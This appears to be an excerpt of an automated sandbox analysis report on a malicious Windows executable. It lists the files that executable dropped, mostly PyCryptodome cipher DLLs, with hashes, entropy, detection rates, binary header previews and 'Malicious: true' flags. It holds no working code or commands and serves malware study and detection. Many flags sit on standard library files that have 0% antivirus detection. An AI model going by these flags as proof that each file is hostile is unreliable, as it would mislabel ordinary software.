Preview:	..W.i.n.d.o.w.s. .R.e.g.i.s.t.r.y. .E.d.i.t.o.r. .V.e.r.s.i.o.n. .5...0.0.........[.H.K.E.Y._.C.U.R.R.E.N.T._.U.S.E.R.\.S.O.F.T.W.A.R.E.].........[.H.K.E.Y._.C.U.R.R.E.N.T._.U.S.E.R.\.S.O.F.T.W.A.R.E.\.A.d.o.b.e.].........[.H.K.E.Y._.C.U.R.R.E.N.T._.U.S.E.R.\.S.O.F.T.W.A.R.E.\.A.d.o.b.e.\.a.c.r.o.b.a.t. .r.e.a.d.e.r.].........[.H.K.E.Y._.C.U.R.R.E.N.T._.U.S.E.R.\.S.O.F.T.W.A.R.E.\.A.d.o.b.e.\.a.c.r.o.b.a.t. .r.e.a.d.e.r.\.1.0...0.].........[.H.K.E.Y._.C.U.R.R.E.N.T._.U.S.E.R.\.S.O.F.T.W.A.R.E.\.A.d.o.b.e.\.a.c.r.o.b.a.t. .r.e.a.d.e.r.\.1.0...0.\.s.e.c.u.r.i.t.y.].........[.H.K.E.Y._.C.U.R.R.E.N.T._.U.S.E.R.\.S.O.F.T.W.A.R.E.\.A.d.o.b.e.\.a.c.r.o.b.a.t. .r.e.a.d.e.r.\.1.0...0.\.s.e.c.u.r.i.t.y.\.c.a.s.p.k.i.].........[.H.K.E.Y._.C.U.R.R.E.N.T._.U.S.E.R.\.S.O.F.T.W.A.R.E.\.A.d.o.b.e.\.a.c.r.o.b.a.t. .r.e.a.d.e.r.\.1.0...0.\.s.e.c.u.r.i.t.y.\.c.a.s.p.k.i.\.c.a.s.p.k.i.].........[.H.K.E.Y._.C.U.R.R.E.N.T._.U.S.E.R.\.S.O.F.T.W.A.R.E.\.A.d.o.b.e.\.a.c.r.o.b.a.t. .r.e.a.d.e.r.\.1.0...0.\.s.e.

C:\Users\user\AppData\Local\Temp\_MEI71322\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f

Download File

Process:	C:\Users\user\Desktop\LIccs3x2LZ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	23516633
Entropy (8bit):	7.992023505254324
Encrypted:	true
SSDEEP:	393216:DBfHd5zra14ZwU/plsSK0dhHt/nOjAA1KVUqWNZPTGGvYhCxAAjp:dHd5ze1wwYszj7RNdTSyjp
MD5:	286C4FE69BB974A050B48FCC82108897
SHA1:	6DB84FBCF002D95F0E7E732374727FCB36D3981A
SHA-256:	84A15BC948ACF97F686E27B33874E08BD04D6CE22B9112C4F7D4432850B6E24F
SHA-512:	3FECE8534BD41F7B45CFFB6B8BF812D84D5D5805FB799D51C047577807B7AD3D0795719E8B8967437F7E2C9D3CDA8A2A7CAFA8FFA56E1C8F2E986C9F909F661E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.................t...J....................@.......................................@......@...................p..q....P.......................................................................................R..\....`.......................text....V.......X.................. ..`.itext..d....p.......\.............. ..`.data...88.......:...x..............@....bss....Xr...............................idata.......P......................@....didata......`......................@....edata..q....p......................@..@.tls.....................................rdata..]...........................@..@.reloc..............................@..B.rsrc...............................@..@....................................@..@................

C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_ARC4.pyd

Download File

Process:	C:\Users\user\Desktop\LIccs3x2LZ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	4.703513333396807
Encrypted:	false
SSDEEP:	96:nDzb9VD9daQ2iTrqT+6Zdp/Q0I1uLfcC75JiC4Rs89EcYyGDV90OcX6gY/7ECFV:Dzz9damqTrpYTst0E5DVPcqgY/79X
MD5:	6176101B7C377A32C01AE3EDB7FD4DE6
SHA1:	5F1CB443F9D677F313BEC07C5241AEAB57502F5E
SHA-256:	EFEA361311923189ECBE3240111EFBA329752D30457E0DBE9628A82905CD4BDB
SHA-512:	3E7373B71AE0834E96A99595CFEF2E96C0F5230429ADC0B5512F4089D1ED0D7F7F0E32A40584DFB13C41D257712A9C4E9722366F0A21B907798AE79D8CEDCF30
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: HyZh4pn0RF.exe, Detection: malicious, Browse Filename: MPX283rT19.exe, Detection: malicious, Browse Filename: f2q2w9rTqd.exe, Detection: malicious, Browse Filename: LicenseManagerWamp.exe, Detection: malicious, Browse Filename: PhonexZ.exe, Detection: malicious, Browse Filename: D07bcK36ed.exe, Detection: malicious, Browse Filename: D07bcK36ed.exe, Detection: malicious, Browse Filename: ultimateastra.exe, Detection: malicious, Browse Filename: ultimateastra.exe, Detection: malicious, Browse Filename: 4wx72yFLka.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........K...b..b..b..R...b..Uc..b.Rc..b..c..b..Ug..b..Uf..b..Ua..b..j..b..b..b....b..`..b.Rich.b.................PE..d....e.........." ...%............P........................................p............`.........................................P(.......(..d....P.......@...............`..,...."...............................!..@............ ...............................text............................... ..`.rdata..,.... ......................@..@.data...8....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......(..............@..@.reloc..,....`.......*..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_Salsa20.pyd

Download File

Process:	C:\Users\user\Desktop\LIccs3x2LZ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	4.968452734961967
Encrypted:	false
SSDEEP:	96:JF3TgNlF/1Nt5aSd4+1ijg0NLfFNJSCqsstXHTeH5ht47qMbxbfDqbwYH/kcX6gT:WF/1nb2mhQtkXHTeZ87VDqrMcqgYvEp
MD5:	371776A7E26BAEB3F75C93A8364C9AE0
SHA1:	BF60B2177171BA1C6B4351E6178529D4B082BDA9
SHA-256:	15257E96D1CA8480B8CB98F4C79B6E365FE38A1BA9638FC8C9AB7FFEA79C4762
SHA-512:	C23548FBCD1713C4D8348917FF2AB623C404FB0E9566AB93D147C62E06F51E63BDAA347F2D203FE4F046CE49943B38E3E9FA1433F6455C97379F2BC641AE7CE9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........4Y..Z...Z...Z......Z..[...Z...[...Z...[...Z.._...Z..^...Z..Y...Z..RR...Z..RZ...Z..R....Z..RX...Z.Rich..Z.........PE..d....e.........." ...%............P.....................................................`..........................................8......x9..d....`.......P..L............p..,....3...............................1..@............0...............................text...(........................... ..`.rdata.......0......................@..@.data...8....@.......*..............@....pdata..L....P.......,..............@..@.rsrc........`.......0..............@..@.reloc..,....p.......2..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_chacha20.pyd

Download File

Process:	C:\Users\user\Desktop\LIccs3x2LZ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	5.061461040216793
Encrypted:	false
SSDEEP:	192:ldF/1nb2mhQtkXn0t/WS60YYDEiqvdvGyv9lkVcqgYvEMo:v2f6XSZ6XYD6vdvGyv9MgYvEMo
MD5:	CB5238E2D4149636377F9A1E2AF6DC57
SHA1:	038253BABC9E652BA4A20116886209E2BCCF35AC
SHA-256:	A8D3BB9CD6A78EBDB4F18693E68B659080D08CB537F9630D279EC9F26772EFC7
SHA-512:	B1E6AB509CF1E5ECC6A60455D6900A76514F8DF43F3ABC3B8D36AF59A3DF8A868B489ED0B145D0D799AAC8672CBF5827C503F383D3F38069ABF6056ECCD87B21
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........4Y..Z...Z...Z......Z..[...Z...[...Z...[...Z.._...Z..^...Z..Y...Z..RR...Z..RZ...Z..R....Z..RX...Z.Rich..Z.........PE..d....e.........." ...%............P.....................................................`..........................................8.......9..d....`.......P..d............p..,....2...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......,..............@....pdata..d....P......................@..@.rsrc........`.......2..............@..@.reloc..,....p.......4..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_pkcs1_decode.pyd

Download File

Process:	C:\Users\user\Desktop\LIccs3x2LZ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	5.236167046748013
Encrypted:	false
SSDEEP:	192:/siHXqpoUol3xZhRyQX5lDnRDFYav+tcqgRvE:h6D+XBDgDgRvE
MD5:	D9E7218460AEE693BEA07DA7C2B40177
SHA1:	9264D749748D8C98D35B27BEFE6247DA23FF103D
SHA-256:	38E423D3BCC32EE6730941B19B7D5D8872C0D30D3DD8F9AAE1442CB052C599AD
SHA-512:	DDB579E2DEA9D266254C0D9E23038274D9AE33F0756419FD53EC6DC1A27D1540828EE8F4AD421A5CFFD9B805F1A68F26E70BDC1BAB69834E8ACD6D7BB7BDB0DB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........K...........R......U.....R............U......U......U................}.........Rich...........................PE..d....e.........." ...%............P.....................................................`..........................................9.......9..d....`.......P..\|............p..,....3...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...h....@.......,..............@....pdata..\|....P......................@..@.rsrc........`.......2..............@..@.reloc..,....p.......4..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_aes.pyd

Download File

Process:	C:\Users\user\Desktop\LIccs3x2LZ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	6.558176937399355
Encrypted:	false
SSDEEP:	384:Dz2P+7nYpPMedFDlDchrVX1mEVmT9ZgkoD/PKDkGuF0U390QOo8VdbKBWmuCLg46:DzeqWB7YJlmLJ3oD/S4j990th9VCsC
MD5:	F751792DF10CDEED391D361E82DAF596
SHA1:	3440738AF3C88A4255506B55A673398838B4CEAC
SHA-256:	9524D1DADCD2F2B0190C1B8EDE8E5199706F3D6C19D3FB005809ED4FEBF3E8B5
SHA-512:	6159F245418AB7AD897B02F1AADF1079608E533B9C75006EFAF24717917EAA159846EE5DFC0E85C6CFF8810319EFECBA80C1D51D1F115F00EC1AFF253E312C00
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........K...b..b..b..R...b..Uc..b.Rc..b..c..b..Ug..b..Uf..b..Ua..b..j..b..b..b....b..`..b.Rich.b.................PE..d....e.........." ...%.H...H......P.....................................................`.................................................,...d...............................4... ...................................@............`...............................text....F.......H.................. ..`.rdata..d6...`...8...L..............@..@.data...8...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..4...........................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_aesni.pyd

Download File

Process:	C:\Users\user\Desktop\LIccs3x2LZ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15872
Entropy (8bit):	5.285191078037458
Encrypted:	false
SSDEEP:	192:wJBjJHEkEPYi3Xd+dc26E4++yuqAyXW9wifD4jqccqgwYUMvEW:ikRwi3wO26Ef+yuIm9PfD7wgwYUMvE
MD5:	BBEA5FFAE18BF0B5679D5C5BCD762D5A
SHA1:	D7C2721795113370377A1C60E5CEF393473F0CC5
SHA-256:	1F4288A098DA3AAC2ADD54E83C8C9F2041EC895263F20576417A92E1E5B421C1
SHA-512:	0932EC5E69696D6DD559C30C19FC5A481BEFA38539013B9541D84499F2B6834A2FFE64A1008A1724E456FF15DDA6268B7B0AD8BA14918E2333567277B3716CC4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........TX..:...:...:.....:..;...:...;...:...;...:..?...:..>...:..9...:..R2...:..R:...:..R....:..R8...:.Rich..:.................PE..d....e.........." ...%. ... ......P.....................................................`..........................................9......D:..d....`.......P...............p..,....3...............................1..@............0.. ............................text...h........ .................. ..`.rdata.......0.......$..............@..@.data...(....@.......4..............@....pdata.......P.......6..............@..@.rsrc........`.......:..............@..@.reloc..,....p.......<..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_arc2.pyd

Download File

Process:	C:\Users\user\Desktop\LIccs3x2LZ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	5.505471888568532
Encrypted:	false
SSDEEP:	192:vd9VkyQ5f8vjVaCHpKpTTjaNe7oca2DW3Q2dhmdcqgwNeecBih:JkP5cjIGpKlqD2D4kzgwNeE
MD5:	D2175300E065347D13211F5BF7581602
SHA1:	3AE92C0B0ECDA1F6B240096A4E68D16D3DB1FFB0
SHA-256:	94556934E3F9EE73C77552D2F3FC369C02D62A4C9E7143E472F8E3EE8C00AEE1
SHA-512:	6156D744800206A431DEE418A1C561FFB45D726DC75467A91D26EE98503B280C6595CDEA02BDA6A023235BD010835EA1FC9CB843E9FEC3501980B47B6B490AF7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........4Y..Z...Z...Z......Z..[...Z...[...Z...[...Z.._...Z..^...Z..Y...Z..RR...Z..RZ...Z..R....Z..RX...Z.Rich..Z.........PE..d....e.........." ...%."... ......P.....................................................`.........................................0J.......J..d....p.......`..................,....C...............................B..@............@...............................text....!.......".................. ..`.rdata.......@.......&..............@..@.data...8....P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......<..............@..@.reloc..,............>..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_blowfish.pyd

Download File

Process:	C:\Users\user\Desktop\LIccs3x2LZ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	20992
Entropy (8bit):	6.06124024160806
Encrypted:	false
SSDEEP:	384:bUv5cJMOZA0nmwBD+XpJgLa0Mp8Qpg4P2llyM:0K1XBD+DgLa1yTi
MD5:	45616B10ABE82D5BB18B9C3AB446E113
SHA1:	91B2C0B0F690AE3ABFD9B0B92A9EA6167049B818
SHA-256:	F348DB1843B8F38A23AEE09DD52FB50D3771361C0D529C9C9E142A251CC1D1EC
SHA-512:	ACEA8C1A3A1FA19034FD913C8BE93D5E273B7719D76CB71C36F510042918EA1D9B44AC84D849570F9508D635B4829D3E10C36A461EC63825BA178F5AC1DE85FB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........4Y..Z...Z...Z......Z..[...Z...[...Z...[...Z.._...Z..^...Z..Y...Z..RR...Z..RZ...Z..R....Z..RX...Z.Rich..Z.........PE..d....e.........." ...%.$...0......P.....................................................`.........................................pY.......Z..d............p..................4...@S...............................R..@............@...............................text....".......$.................. ..`.rdata..L....@... ...(..............@..@.data...8....`.......H..............@....pdata.......p.......J..............@..@.rsrc................N..............@..@.reloc..4............P..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_cast.pyd

Download File

Process:	C:\Users\user\Desktop\LIccs3x2LZ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25088
Entropy (8bit):	6.475467273446457
Encrypted:	false
SSDEEP:	384:oc6HLZiMDFuGu+XHZXmrfXA+UA10ol31tuXy4IYgLWi:B6H1TZXX5XmrXA+NNxWiFdLWi
MD5:	CF3C2F35C37AA066FA06113839C8A857
SHA1:	39F3B0AEFB771D871A93681B780DA3BD85A6EDD0
SHA-256:	1261783F8881642C3466B96FA5879A492EA9E0DAB41284ED9E4A82E8BCF00C80
SHA-512:	1C36B80AAE49FD5E826E95D83297AE153FDB2BC652A47D853DF31449E99D5C29F42ED82671E2996AF60DCFB862EC5536BB0A68635D4E33D33F8901711C0C8BE6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........4Y..Z...Z...Z......Z..[...Z...[...Z...[...Z.._...Z..^...Z..Y...Z..RR...Z..RZ...Z..R....Z..RX...Z.Rich..Z.........PE..d....e.........." ...%.$...@............................................................`.........................................@i.......i..d...............................4....b...............................a..@............@...............................text....#.......$.................. ..`.rdata.......@...0...(..............@..@.data...8....p.......X..............@....pdata...............Z..............@..@.rsrc................^..............@..@.reloc..4............`..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_cbc.pyd

Download File

Process:	C:\Users\user\Desktop\LIccs3x2LZ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	4.838534302892255
Encrypted:	false
SSDEEP:	192:0F/1nb2mhQtkr+juOxKbDbnHcqgYvEkrK:u2f6iuOsbDtgYvEmK
MD5:	20708935FDD89B3EDDEEA27D4D0EA52A
SHA1:	85A9FE2C7C5D97FD02B47327E431D88A1DC865F7
SHA-256:	11DD1B49F70DB23617E84E08E709D4A9C86759D911A24EBDDFB91C414CC7F375
SHA-512:	F28C31B425DC38B5E9AD87B95E8071997E4A6F444608E57867016178CD0CA3E9F73A4B7F2A0A704E45F75B7DCFF54490510C6BF8461F3261F676E9294506D09B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........4Y..Z...Z...Z......Z..[...Z...[...Z...[...Z.._...Z..^...Z..Y...Z..RR...Z..RZ...Z..R....Z..RX...Z.Rich..Z.........PE..d....e.........." ...%............P.....................................................`..........................................8.......9..d....`.......P..X............p..,....2...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......&..............@....pdata..X....P.......(..............@..@.rsrc........`.......,..............@..@.reloc..,....p......................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_cfb.pyd

Download File

Process:	C:\Users\user\Desktop\LIccs3x2LZ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	4.9047185025862925
Encrypted:	false
SSDEEP:	192:NRgPX8lvI+KnwSDTPUDEhKWPXcqgzQkvEd:2og9rUD9mpgzQkvE
MD5:	43BBE5D04460BD5847000804234321A6
SHA1:	3CAE8C4982BBD73AF26EB8C6413671425828DBB7
SHA-256:	FAA41385D0DB8D4EE2EE74EE540BC879CF2E884BEE87655FF3C89C8C517EED45
SHA-512:	DBC60F1D11D63BEBBAB3C742FB827EFBDE6DFF3C563AE1703892D5643D5906751DB3815B97CBFB7DA5FCD306017E4A1CDCC0CDD0E61ADF20E0816F9C88FE2C9B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........K............RQ.....U.....R............U......U......U..................=..........Rich...................PE..d....e.........." ...%..... ......P.....................................................`..........................................9.......9..d....`.......P..d............p..,....3...............................1..@............0...............................text...(........................... ..`.rdata.......0......................@..@.data...8....@.......,..............@....pdata..d....P......................@..@.rsrc........`.......2..............@..@.reloc..,....p.......4..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_ctr.pyd

Download File

Process:	C:\Users\user\Desktop\LIccs3x2LZ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14848
Entropy (8bit):	5.300163691206422
Encrypted:	false
SSDEEP:	192:j0J1gSHxKkwv0i8XSi3Sm57NEEE/qexUEtDrdkrRcqgUF6+6vEX:jM01si8XSi3SACqe7tDeDgUUjvE
MD5:	C6B20332B4814799E643BADFFD8DF2CD
SHA1:	E7DA1C1F09F6EC9A84AF0AB0616AFEA55A58E984
SHA-256:	61C7A532E108F67874EF2E17244358DF19158F6142680F5B21032BA4889AC5D8
SHA-512:	D50C7F67D2DFB268AD4CF18E16159604B6E8A50EA4F0C9137E26619FD7835FAAD323B5F6A2B8E3EC1C023E0678BCBE5D0F867CD711C5CD405BD207212228B2B4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........K,..B..B..B..R...B..UC..B.RC..B..C..B..UG..B..UF..B..UA..B..J..B..B..B....B..@..B.Rich.B.........................PE..d....e.........." ...%..... ......P.....................................................`..........................................9......x:..d....`.......P...............p..,....3...............................1..@............0.. ............................text............................... ..`.rdata.......0....... ..............@..@.data........@.......0..............@....pdata.......P.......2..............@..@.rsrc........`.......6..............@..@.reloc..,....p.......8..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_des.pyd

Download File

Process:	C:\Users\user\Desktop\LIccs3x2LZ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	57856
Entropy (8bit):	4.260220483695234
Encrypted:	false
SSDEEP:	384:9XUqVT1dZ/GHkJnYcZiGKdZHDLtiduprZNZY0JAIg+v:99HGHfJidSK
MD5:	0B538205388FDD99A043EE3AFAA074E4
SHA1:	E0DD9306F1DBE78F7F45A94834783E7E886EB70F
SHA-256:	C4769D3E6EB2A2FECB5DEC602D45D3E785C63BB96297268E3ED069CC4A019B1A
SHA-512:	2F4109E42DB7BC72EB50BCCC21EB200095312EA00763A255A38A4E35A77C04607E1DB7BB69A11E1D80532767B20BAA4860C05F52F32BF1C81FE61A7ECCEB35ED
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........................................................K......K......Ki.....K.....Rich...........................PE..d....e.........." ...%.8...................................................0............`.....................................................d...............l............ ..4...................................@...@............P...............................text....7.......8.................. ..`.rdata..f....P.......<..............@..@.data...8...........................@....pdata..l...........................@..@.rsrc...............................@..@.reloc..4.... ......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_des3.pyd

Download File

Process:	C:\Users\user\Desktop\LIccs3x2LZ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	58368
Entropy (8bit):	4.276870967324261
Encrypted:	false
SSDEEP:	384:9jUqho9weF5/eHkRnYcZiGKdZHDL7idErZjZYXGg:9RCneH//id42
MD5:	6C3E976AB9F47825A5BD9F73E8DBA74E
SHA1:	4C6EB447FE8F195CF7F4B594CE7EAF928F52B23A
SHA-256:	238CDB6B8FB611DB4626E6D202E125E2C174C8F73AE8A3273B45A0FC18DEA70C
SHA-512:	B19516F00CC0484D9CDA82A482BBFE41635CDBBE19C13F1E63F033C9A68DD36798C44F04D6BD8BAE6523A845E852D81ACADD0D5DD86AF62CC9D081B803F8DF7B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........................................................K......K......Ki.....K.....Rich...........................PE..d....e.........." ...%.:...................................................0............`.................................................P...d............................ ..4...................................@...@............P...............................text...x9.......:.................. ..`.rdata.......P.......>..............@..@.data...8...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..4.... ......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_ecb.pyd

Download File

Process:	C:\Users\user\Desktop\LIccs3x2LZ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10752
Entropy (8bit):	4.578113904149635
Encrypted:	false
SSDEEP:	96:R0qVVdJvbrqTu6ZdpvY0IluLfcC75JiCKs89EpmFWLOXDwo2Pj15XkcX6gbW6z:DVddiT7pgTctEEI4qXDo11kcqgbW6
MD5:	FEE13D4FB947835DBB62ACA7EAFF44EF
SHA1:	7CC088AB68F90C563D1FE22D5E3C3F9E414EFC04
SHA-256:	3E0D07BBF93E0748B42B1C2550F48F0D81597486038C22548224584AE178A543
SHA-512:	DEA92F935BC710DF6866E89CC6EB5B53FC7ADF0F14F3D381B89D7869590A1B0B1F98F347664F7A19C6078E7AA3EB0F773FFCB711CC4275D0ECD54030D6CF5CB2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r.`.r.`.r.`.{...p.`.g.a.p.`.9.a.q.`.r.a.Q.`.g.e.y.`.g.d.z.`.g.c.q.`.H.h.s.`.H.`.s.`.H...s.`.H.b.s.`.Richr.`.................PE..d....e.........." ...%............P........................................p............`.........................................p'......((..P....P.......@...............`..,...."...............................!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...8....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......&..............@..@.reloc..,....`.......(..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_eksblowfish.pyd

Download File

Process:	C:\Users\user\Desktop\LIccs3x2LZ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	6.143719741413071
Encrypted:	false
SSDEEP:	384:IUv5cRUtPQtjLJiKMjNrDF6pJgLa0Mp8Q90gYP2lXCM:BKR8I+K0lDFQgLa17zU
MD5:	76F88D89643B0E622263AF676A65A8B4
SHA1:	93A365060E98890E06D5C2D61EFBAD12F5D02E06
SHA-256:	605C86145B3018A5E751C6D61FD0F85CF4A9EBF2AD1F3009A4E68CF9F1A63E49
SHA-512:	979B97AAC01633C46C048010FA886EBB09CFDB5520E415F698616987AE850FD342A4210A8DC0FAC1E059599F253565862892171403F5E4F83754D02D2EF3F366
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........4Y..Z...Z...Z......Z..[...Z...[...Z...[...Z.._...Z..^...Z..Y...Z..RR...Z..RZ...Z..R....Z..RX...Z.Rich..Z.........PE..d....e.........." ...%.(...0......P.....................................................`.........................................pY.......Z..d............p..................4...@S...............................R..@............@...............................text...X'.......(.................. ..`.rdata..T....@... ...,..............@..@.data...8....`.......L..............@....pdata.......p.......N..............@..@.rsrc................R..............@..@.reloc..4............T..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_ocb.pyd

Download File

Process:	C:\Users\user\Desktop\LIccs3x2LZ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	17920
Entropy (8bit):	5.353267174592179
Encrypted:	false
SSDEEP:	384:7PHNP3Mj7Be/yB/6sB3yxcb+IMcOYqQViCBD8bg6Vf4A:hPcnB8KSsB34cb+bcOYpMCBDX
MD5:	D48BFFA1AF800F6969CFB356D3F75AA6
SHA1:	2A0D8968D74EBC879A17045EFE86C7FB5C54AEE6
SHA-256:	4AA5E9CE7A76B301766D3ECBB06D2E42C2F09D0743605A91BF83069FEFE3A4DE
SHA-512:	30D14AD8C68B043CC49EAFB460B69E83A15900CB68B4E0CBB379FF5BA260194965EF300EB715308E7211A743FF07FA7F8779E174368DCAA7F704E43068CC4858
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Y..z...z...z......z..{...z...{...z...{...z......z..~...z..y...z..Rr...z..Rz...z..R....z..Rx...z.Rich..z.................PE..d....e.........." ...%.(... ......P.....................................................`..........................................I.......J..d....p.......`..................,....C...............................A..@............@...............................text....'.......(.................. ..`.rdata..8....@.......,..............@..@.data........P.......<..............@....pdata.......`.......>..............@..@.rsrc........p.......B..............@..@.reloc..,............D..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_ofb.pyd

Download File

Process:	C:\Users\user\Desktop\LIccs3x2LZ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	4.741247880746506
Encrypted:	false
SSDEEP:	192:0F/1nb2mhQtkgU7L9D037tfcqgYvEJPb:u2f6L9DSJxgYvEJj
MD5:	4D9182783EF19411EBD9F1F864A2EF2F
SHA1:	DDC9F878B88E7B51B5F68A3F99A0857E362B0361
SHA-256:	C9F4C5FFCDD4F8814F8C07CE532A164AB699AE8CDE737DF02D6ECD7B5DD52DBD
SHA-512:	8F983984F0594C2CAC447E9D75B86D6EC08ED1C789958AFA835B0D1239FD4D7EBE16408D080E7FCE17C379954609A93FC730B11BE6F4A024E7D13D042B27F185
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
